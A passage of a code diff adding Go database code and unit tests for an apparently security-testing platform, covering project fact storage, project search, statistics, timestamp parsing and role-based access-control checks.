Summary: "SQLi on /login (confirmed)",
|
||||||
|
Body: "",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if updated.Summary != "SQLi on /login (confirmed)" {
|
||||||
|
t.Fatalf("summary=%q", updated.Summary)
|
||||||
|
}
|
||||||
|
if updated.Body != body {
|
||||||
|
t.Fatalf("returned body=%q want preserved attack chain", updated.Body)
|
||||||
|
}
|
||||||
|
|
||||||
|
fromDB, err := db.GetProjectFactByKey(proj.ID, "finding/sqli-login")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if fromDB.Body != body {
|
||||||
|
t.Fatalf("stored body=%q want preserved", fromDB.Body)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestUpsertProjectFact_replacesBodyWhenProvided(t *testing.T) {
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "facts.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
proj, err := db.CreateProject(&Project{Name: "test-facts"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
_, err = db.UpsertProjectFact(&ProjectFact{
|
||||||
|
ProjectID: proj.ID,
|
||||||
|
FactKey: "target/primary",
|
||||||
|
Summary: "v1",
|
||||||
|
Body: "old body",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
const newBody = "new body with evidence"
|
||||||
|
updated, err := db.UpsertProjectFact(&ProjectFact{
|
||||||
|
ProjectID: proj.ID,
|
||||||
|
FactKey: "target/primary",
|
||||||
|
Summary: "v2",
|
||||||
|
Body: newBody,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if updated.Body != newBody {
|
||||||
|
t.Fatalf("body=%q want %q", updated.Body, newBody)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRestoreProjectFact(t *testing.T) {
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "facts.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
proj, err := db.CreateProject(&Project{Name: "restore-test"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
key := "target/restore-me"
|
||||||
|
_, err = db.UpsertProjectFact(&ProjectFact{
|
||||||
|
ProjectID: proj.ID,
|
||||||
|
FactKey: key,
|
||||||
|
Summary: "s",
|
||||||
|
Confidence: "confirmed",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.DeprecateProjectFact(proj.ID, key); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.RestoreProjectFact(proj.ID, key, "confirmed"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
f, err := db.GetProjectFactByKey(proj.ID, key)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if f.Confidence != "confirmed" {
|
||||||
|
t.Fatalf("confidence=%q want confirmed", f.Confidence)
|
||||||
|
}
|
||||||
|
if err := db.RestoreProjectFact(proj.ID, key, ""); err == nil {
|
||||||
|
t.Fatal("expected error when not deprecated")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMergeFactBodyOnUpdate(t *testing.T) {
|
||||||
|
if got := mergeFactBodyOnUpdate("", "keep"); got != "keep" {
|
||||||
|
t.Fatalf("empty incoming: got %q", got)
|
||||||
|
}
|
||||||
|
if got := mergeFactBodyOnUpdate(" ", "keep"); got != "keep" {
|
||||||
|
t.Fatalf("whitespace incoming: got %q", got)
|
||||||
|
}
|
||||||
|
if got := mergeFactBodyOnUpdate("new", "old"); got != "new" {
|
||||||
|
t.Fatalf("non-empty incoming: got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,82 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestListProjectsSearchCaseInsensitive(t *testing.T) {
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "projects-search.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
p1, err := db.CreateProject(&Project{Name: "Alpha Security Review", Status: "active"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
p2, err := db.CreateProject(&Project{Name: "beta-scan", Status: "active"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.CreateProject(&Project{Name: "Other", Status: "archived"}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
search string
|
||||||
|
status string
|
||||||
|
want []string
|
||||||
|
}{
|
||||||
|
{name: "case insensitive name", search: "alpha", status: "active", want: []string{p1.ID}},
|
||||||
|
{name: "upper query", search: "BETA", status: "active", want: []string{p2.ID}},
|
||||||
|
{name: "search by id substring", search: p1.ID[:8], status: "", want: []string{p1.ID}},
|
||||||
|
{name: "status filter", search: "alpha", status: "archived", want: nil},
|
||||||
|
}
|
||||||
|
for _, tc := range cases {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
list, err := db.ListProjects(tc.status, tc.search, 50, 0)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
got := make([]string, 0, len(list))
|
||||||
|
for _, p := range list {
|
||||||
|
got = append(got, p.ID)
|
||||||
|
}
|
||||||
|
if len(got) != len(tc.want) {
|
||||||
|
t.Fatalf("got %v want %v", got, tc.want)
|
||||||
|
}
|
||||||
|
for i := range got {
|
||||||
|
if got[i] != tc.want[i] {
|
||||||
|
t.Fatalf("got %v want %v", got, tc.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestProjectListSearchPatternEscapesWildcards(t *testing.T) {
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "projects-like.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
p, err := db.CreateProject(&Project{Name: "100% coverage", Status: "active"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
list, err := db.ListProjects("active", "100%", 50, 0)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(list) != 1 || list[0].ID != p.ID {
|
||||||
|
t.Fatalf("expected exact match for literal %% query, got %#v", list)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,125 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ProjectStats 项目聚合统计。
|
||||||
|
type ProjectStats struct {
|
||||||
|
FactCount int `json:"fact_count"`
|
||||||
|
VulnCount int `json:"vuln_count"`
|
||||||
|
ConversationCount int `json:"conversation_count"`
|
||||||
|
SparseFactCount int `json:"sparse_fact_count"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetProjectStatsCounts 统计项目下事实、漏洞、对话数量(不含 sparse,由 project 包补全)。
|
||||||
|
func (db *DB) GetProjectStatsCounts(projectID string) (*ProjectStats, error) {
|
||||||
|
projectID = strings.TrimSpace(projectID)
|
||||||
|
if projectID == "" {
|
||||||
|
return nil, fmt.Errorf("project_id 不能为空")
|
||||||
|
}
|
||||||
|
if _, err := db.GetProject(projectID); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
stats := &ProjectStats{}
|
||||||
|
if err := db.QueryRow(
|
||||||
|
`SELECT COUNT(*) FROM project_facts WHERE project_id = ? AND confidence != 'deprecated'`,
|
||||||
|
projectID,
|
||||||
|
).Scan(&stats.FactCount); err != nil {
|
||||||
|
return nil, fmt.Errorf("统计事实失败: %w", err)
|
||||||
|
}
|
||||||
|
if err := db.QueryRow(
|
||||||
|
`SELECT COUNT(*) FROM vulnerabilities WHERE project_id = ?`,
|
||||||
|
projectID,
|
||||||
|
).Scan(&stats.VulnCount); err != nil {
|
||||||
|
return nil, fmt.Errorf("统计漏洞失败: %w", err)
|
||||||
|
}
|
||||||
|
if err := db.QueryRow(
|
||||||
|
`SELECT COUNT(*) FROM conversations WHERE project_id = ?`,
|
||||||
|
projectID,
|
||||||
|
).Scan(&stats.ConversationCount); err != nil {
|
||||||
|
return nil, fmt.Errorf("统计对话失败: %w", err)
|
||||||
|
}
|
||||||
|
return stats, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListProjectFactsForSparseCheck 返回用于待补全检测的事实字段(非 deprecated)。
|
||||||
|
func (db *DB) ListProjectFactsForSparseCheck(projectID string) ([]struct {
|
||||||
|
Category string
|
||||||
|
FactKey string
|
||||||
|
Body string
|
||||||
|
}, error) {
|
||||||
|
rows, err := db.Query(
|
||||||
|
`SELECT category, fact_key, COALESCE(body,'') FROM project_facts WHERE project_id = ? AND confidence != 'deprecated'`,
|
||||||
|
projectID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
var out []struct {
|
||||||
|
Category string
|
||||||
|
FactKey string
|
||||||
|
Body string
|
||||||
|
}
|
||||||
|
for rows.Next() {
|
||||||
|
var row struct {
|
||||||
|
Category string
|
||||||
|
FactKey string
|
||||||
|
Body string
|
||||||
|
}
|
||||||
|
if err := rows.Scan(&row.Category, &row.FactKey, &row.Body); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
out = append(out, row)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListConversationsByProjectID 列出绑定到项目的对话。
|
||||||
|
func (db *DB) ListConversationsByProjectID(projectID string, limit, offset int) ([]*Conversation, error) {
|
||||||
|
if limit <= 0 {
|
||||||
|
limit = 100
|
||||||
|
}
|
||||||
|
rows, err := db.Query(
|
||||||
|
`SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id, role_name
|
||||||
|
FROM conversations WHERE project_id = ? ORDER BY updated_at DESC LIMIT ? OFFSET ?`,
|
||||||
|
projectID, limit, offset,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询项目对话失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var conversations []*Conversation
|
||||||
|
for rows.Next() {
|
||||||
|
var conv Conversation
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
var pinned int
|
||||||
|
var pid sql.NullString
|
||||||
|
var roleName sql.NullString
|
||||||
|
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &pid, &roleName); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if pid.Valid {
|
||||||
|
conv.ProjectID = strings.TrimSpace(pid.String)
|
||||||
|
}
|
||||||
|
if roleName.Valid {
|
||||||
|
conv.RoleName = normalizeConversationRoleName(roleName.String)
|
||||||
|
}
|
||||||
|
conv.CreatedAt = parseDBTime(createdAt)
|
||||||
|
conv.UpdatedAt = parseDBTime(updatedAt)
|
||||||
|
conv.Pinned = pinned != 0
|
||||||
|
conversations = append(conversations, &conv)
|
||||||
|
}
|
||||||
|
return conversations, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
// CountConversationsByProjectID 统计项目绑定对话数。
|
||||||
|
func (db *DB) CountConversationsByProjectID(projectID string) (int, error) {
|
||||||
|
var n int
|
||||||
|
err := db.QueryRow(`SELECT COUNT(*) FROM conversations WHERE project_id = ?`, projectID).Scan(&n)
|
||||||
|
return n, err
|
||||||
|
}
|
||||||
@@ -0,0 +1,93 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestParseDBTime_projectFactFormats(t *testing.T) {
|
||||||
|
cases := []string{
|
||||||
|
"2026-05-26 11:13:07.442143+08:00",
|
||||||
|
"2026-05-26 11:13:07",
|
||||||
|
"2026-05-26T11:13:07.442143+08:00",
|
||||||
|
}
|
||||||
|
for _, s := range cases {
|
||||||
|
got := parseDBTime(s)
|
||||||
|
if got.IsZero() {
|
||||||
|
t.Fatalf("parseDBTime(%q) returned zero", s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestListProjectFacts_updatedAtJSON(t *testing.T) {
|
||||||
|
root, err := os.Getwd()
|
||||||
|
if err != nil {
|
||||||
|
t.Skip(err)
|
||||||
|
}
|
||||||
|
dbPath := filepath.Join(root, "..", "..", "data", "conversations.db")
|
||||||
|
if _, err := os.Stat(dbPath); err != nil {
|
||||||
|
t.Skip("conversations.db not found")
|
||||||
|
}
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
projects, err := db.ListProjects("", "", 1, 0)
|
||||||
|
if err != nil || len(projects) == 0 {
|
||||||
|
t.Skip("no projects")
|
||||||
|
}
|
||||||
|
pid := projects[0].ID
|
||||||
|
|
||||||
|
list, err := db.ListProjectFacts(pid, ProjectFactListFilter{}, 5, 0)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(list) == 0 {
|
||||||
|
t.Skip("no facts")
|
||||||
|
}
|
||||||
|
for _, f := range list {
|
||||||
|
if f.UpdatedAt.IsZero() {
|
||||||
|
t.Fatalf("fact %s UpdatedAt is zero after ListProjectFacts", f.FactKey)
|
||||||
|
}
|
||||||
|
b, err := json.Marshal(f)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
var m map[string]interface{}
|
||||||
|
if err := json.Unmarshal(b, &m); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
raw, ok := m["updated_at"].(string)
|
||||||
|
if !ok || raw == "" || raw[:4] == "0001" {
|
||||||
|
t.Fatalf("bad updated_at in JSON: %v", m["updated_at"])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseDBTime_zeroOnGarbage(t *testing.T) {
|
||||||
|
if !parseDBTime("").IsZero() {
|
||||||
|
t.Fatal("expected zero for empty")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ensure RFC3339 round-trip used by API is after year 2000.
|
||||||
|
func TestParseDBTime_marshalRoundTrip(t *testing.T) {
|
||||||
|
s := "2026-05-26 11:13:07.442143+08:00"
|
||||||
|
tm := parseDBTime(s)
|
||||||
|
b, err := json.Marshal(tm)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
var back time.Time
|
||||||
|
if err := json.Unmarshal(b, &back); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if back.IsZero() {
|
||||||
|
t.Fatalf("unmarshal zero from %s", string(b))
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,727 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func newRBACTestDB(t *testing.T) *DB {
|
||||||
|
t.Helper()
|
||||||
|
db, err := NewDB(filepath.Join(t.TempDir(), "rbac.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = db.Close() })
|
||||||
|
return db
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRBACToolExecutionOwnershipAccess(t *testing.T) {
|
||||||
|
db := newRBACTestDB(t)
|
||||||
|
for _, exec := range []*mcp.ToolExecution{
|
||||||
|
{ID: "exec-u1", ToolName: "one", Status: "completed", StartTime: time.Now(), OwnerUserID: "u1"},
|
||||||
|
{ID: "exec-u2", ToolName: "two", Status: "completed", StartTime: time.Now(), OwnerUserID: "u2"},
|
||||||
|
{ID: "exec-legacy", ToolName: "legacy", Status: "completed", StartTime: time.Now()},
|
||||||
|
} {
|
||||||
|
if err := db.SaveToolExecution(exec); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
access := RBACListAccess{UserID: "u1", Scope: RBACScopeAssigned}
|
||||||
|
rows, err := db.LoadToolExecutionListPageForAccess(0, 20, "", "", access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(rows) != 1 || rows[0].ID != "exec-u1" {
|
||||||
|
t.Fatalf("rows = %#v, want only exec-u1", rows)
|
||||||
|
}
|
||||||
|
summary, err := db.LoadToolStatsSummaryForAccess(10, access)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if summary.Summary.TotalCalls != 1 || summary.Summary.ToolCount != 1 || len(summary.TopTools) != 1 || summary.TopTools[0].ToolName != "one" {
|
||||||
|
t.Fatalf("scoped summary = %#v", summary)
|
||||||
|
}
|
||||||
|
if !db.UserCanAccessToolExecution("u1", RBACScopeAssigned, "exec-u1") {
|
||||||
|
t.Fatal("owner could not access execution")
|
||||||
|
}
|
||||||
|
if db.UserCanAccessToolExecution("u1", RBACScopeAssigned, "exec-u2") {
|
||||||
|
t.Fatal("foreign execution was accessible")
|
||||||
|
}
|
||||||
|
if db.UserCanAccessToolExecution("u1", RBACScopeAssigned, "exec-legacy") {
|
||||||
|
t.Fatal("ownerless legacy execution did not fail closed")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRBACGroupAndUploadOwnership(t *testing.T) {
|
||||||
|
db := newRBACTestDB(t)
|
||||||
|
group1, err := db.CreateGroup("u1 group", "", "u1")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
group2, err := db.CreateGroup("u2 group", "", "u2")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
groups, err := db.ListGroupsForAccess("u1", RBACScopeAssigned)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(groups) != 1 || groups[0].ID != group1.ID {
|
||||||
|
t.Fatalf("groups = %#v, want only %s (not %s)", groups, group1.ID, group2.ID)
|
||||||
|
}
|
||||||
|
if db.UserCanAccessGroup("u1", RBACScopeAssigned, group2.ID) {
|
||||||
|
t.Fatal("foreign group was accessible")
|
||||||
|
}
|
||||||
|
|
||||||
|
conversation, err := db.CreateConversation("upload", ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.UpsertChatUploadArtifact("2026-07-10/"+conversation.ID+"/a.txt", conversation.ID, "u1"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if conv, owner, ok := db.GetChatUploadArtifact("2026-07-10/" + conversation.ID + "/a.txt"); !ok || conv != conversation.ID || owner != "u1" {
|
||||||
|
t.Fatalf("artifact = conv=%q owner=%q ok=%v", conv, owner, ok)
|
||||||
|
}
|
||||||
|
if err := db.RenameChatUploadArtifactPath("2026-07-10/"+conversation.ID+"/a.txt", "2026-07-10/"+conversation.ID+"/b.txt"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, _, ok := db.GetChatUploadArtifact("2026-07-10/" + conversation.ID + "/b.txt"); !ok {
|
||||||
|
t.Fatal("renamed artifact metadata missing")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSystemRoleBootstrapDoesNotLeakManagementReadPermissions(t *testing.T) {
|
||||||
|
db := newRBACTestDB(t)
|
||||||
|
catalog := map[string]string{
|
||||||
|
"auth:self": "self", "project:read": "projects", "project:write": "project writes",
|
||||||
|
"agent:local-execute": "local tools",
|
||||||
|
"rbac:read": "rbac", "config:read": "config", "audit:read": "audit", "terminal:execute": "terminal",
|
||||||
|
"mcp:execute": "invoke", "mcp:write": "manage", "mcp:external:execute": "external invoke",
|
||||||
|
"workflow:execute": "run", "workflow:write": "manage definitions", "knowledge:write": "manage knowledge",
|
||||||
|
}
|
||||||
|
if err := db.BootstrapRBAC("hash", catalog); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
viewer, err := db.CreateRBACUser("viewer-policy", "Viewer", "hash", true, []string{RBACSystemRoleViewer})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
viewerAccess, err := db.ResolveRBACAccess(viewer.ID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !viewerAccess.Permissions["project:read"] || viewerAccess.Permissions["rbac:read"] || viewerAccess.Permissions["config:read"] || viewerAccess.Permissions["audit:read"] {
|
||||||
|
t.Fatalf("unexpected viewer permissions: %#v", viewerAccess.Permissions)
|
||||||
|
}
|
||||||
|
auditor, err := db.CreateRBACUser("auditor-policy", "Auditor", "hash", true, []string{RBACSystemRoleAuditor})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
auditorAccess, err := db.ResolveRBACAccess(auditor.ID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !auditorAccess.Permissions["audit:read"] || auditorAccess.Permissions["config:read"] || auditorAccess.Permissions["rbac:read"] {
|
||||||
|
t.Fatalf("unexpected auditor permissions: %#v", auditorAccess.Permissions)
|
||||||
|
}
|
||||||
|
operator, err := db.CreateRBACUser("operator-policy", "Operator", "hash", true, []string{RBACSystemRoleOperator})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
operatorAccess, err := db.ResolveRBACAccess(operator.ID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !operatorAccess.Permissions["mcp:execute"] || operatorAccess.Permissions["mcp:write"] || operatorAccess.Permissions["mcp:external:execute"] {
|
||||||
|
t.Fatalf("unexpected operator MCP permissions: %#v", operatorAccess.Permissions)
|
||||||
|
}
|
||||||
|
if !operatorAccess.Permissions["workflow:execute"] || operatorAccess.Permissions["workflow:write"] || operatorAccess.Permissions["knowledge:write"] {
|
||||||
|
t.Fatalf("operator received global definition mutation permissions: %#v", operatorAccess.Permissions)
|
||||||
|
}
|
||||||
|
if !operatorAccess.Permissions["agent:local-execute"] {
|
||||||
|
t.Fatalf("operator is missing explicit local tool permission: %#v", operatorAccess.Permissions)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPermissionScopeDoesNotWidenAcrossUnrelatedRoles(t *testing.T) {
|
||||||
|
db := newRBACTestDB(t)
|
||||||
|
catalog := map[string]string{"auth:self": "self", "project:read": "read", "project:write": "write", "audit:read": "audit"}
|
||||||
|
if err := db.BootstrapRBAC("hash", catalog); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
ownWrite, err := db.UpsertRBACRole("", "own-writer", "", RBACScopeOwn, []string{"project:write"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
user, err := db.CreateRBACUser("mixed-scope", "Mixed", "hash", true, []string{RBACSystemRoleAuditor, ownWrite.ID})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
access, err := db.ResolveRBACAccess(user.ID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if access.Scope != RBACScopeAll {
|
||||||
|
t.Fatalf("compatibility scope = %q, want all", access.Scope)
|
||||||
|
}
|
||||||
|
if got := access.PermissionScopes["project:read"]; got != RBACScopeAll {
|
||||||
|
t.Fatalf("project:read scope = %q, want all", got)
|
||||||
|
}
|
||||||
|
if got := access.PermissionScopes["project:write"]; got != RBACScopeOwn {
|
||||||
|
t.Fatalf("project:write scope widened to %q, want own", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRoleRejectsUnknownPermission(t *testing.T) {
|
||||||
|
db := newRBACTestDB(t)
|
||||||
|
if err := db.BootstrapRBAC("hash", map[string]string{"auth:self": "self"}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.UpsertRBACRole("", "future-role", "", RBACScopeAssigned, []string{"future:permission"}); err == nil {
|
||||||
|
t.Fatal("unknown permission was persisted")
|
||||||
|
}
|
||||||
|
if _, err := db.Exec(`INSERT INTO rbac_permissions (key, description, created_at) VALUES ('stale:permission', '', ?)`, time.Now()); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.BootstrapRBAC("hash", map[string]string{"auth:self": "self"}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
var count int
|
||||||
|
if err := db.QueryRow(`SELECT COUNT(*) FROM rbac_permissions WHERE key = 'stale:permission'`).Scan(&count); err != nil || count != 0 {
|
||||||
|
t.Fatalf("stale permission survived bootstrap: count=%d err=%v", count, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRBACProjectAndConversationListAccess(t *testing.T) {
|
||||||
|
db := newRBACTestDB(t)
|
||||||
|
p1, _ := db.CreateProject(&Project{Name: "visible"})
|
||||||
|
p2, _ := db.CreateProject(&Project{Name: "hidden"})
|
||||||
|
if err := db.SetResourceOwner("project", p1.ID, "u1"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
c1, _ := db.CreateConversation("visible conv", ConversationCreateMeta{ProjectID: p1.ID})
|
||||||
|
c2, _ := db.CreateConversation("hidden conv", ConversationCreateMeta{ProjectID: p2.ID})
|
||||||
|
_ = db.SetResourceOwner("conversation", c1.ID, "u1")
|
||||||
|
_ = db.SetResourceOwner("conversation", c2.ID, "u2")
|
||||||
|
|
||||||
|
projects, err := db.ListProjectsForAccess("", "", 50, 0, "u1", RBACScopeOwn)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(projects) != 1 || projects[0].ID != p1.ID {
|
||||||
|
t.Fatalf("projects = %#v, want only %s", projects, p1.ID)
|
||||||
|
}
|
||||||
|
|
||||||
|
convs, err := db.ListConversationsForAccess(50, 0, "", "", "", "u1", RBACScopeOwn)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(convs) != 1 || convs[0].ID != c1.ID {
|
||||||
|
t.Fatalf("conversations = %#v, want only %s", convs, c1.ID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRBACVulnerabilityAccessInheritsProject(t *testing.T) {
|
||||||
|
db := newRBACTestDB(t)
|
||||||
|
user, err := db.CreateRBACUser("u1", "User 1", "hash", true, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
p1, _ := db.CreateProject(&Project{Name: "visible"})
|
||||||
|
p2, _ := db.CreateProject(&Project{Name: "hidden"})
|
||||||
|
if err := db.AssignResourceToUser(user.ID, "project", p1.ID); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
v1, _ := db.CreateVulnerability(&Vulnerability{ProjectID: p1.ID, Title: "v1", Severity: "high"})
|
||||||
|
v2, _ := db.CreateVulnerability(&Vulnerability{ProjectID: p2.ID, Title: "v2", Severity: "high"})
|
||||||
|
|
||||||
|
items, err := db.ListVulnerabilitiesForAccess(50, 0, VulnerabilityListFilter{}, RBACListAccess{UserID: user.ID, Scope: RBACScopeAssigned})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(items) != 1 || items[0].ID != v1.ID {
|
||||||
|
t.Fatalf("vulnerabilities = %#v, want only %s; hidden %s", items, v1.ID, v2.ID)
|
||||||
|
}
|
||||||
|
if !db.UserCanAccessResource(user.ID, RBACScopeAssigned, "vulnerability", v1.ID) {
|
||||||
|
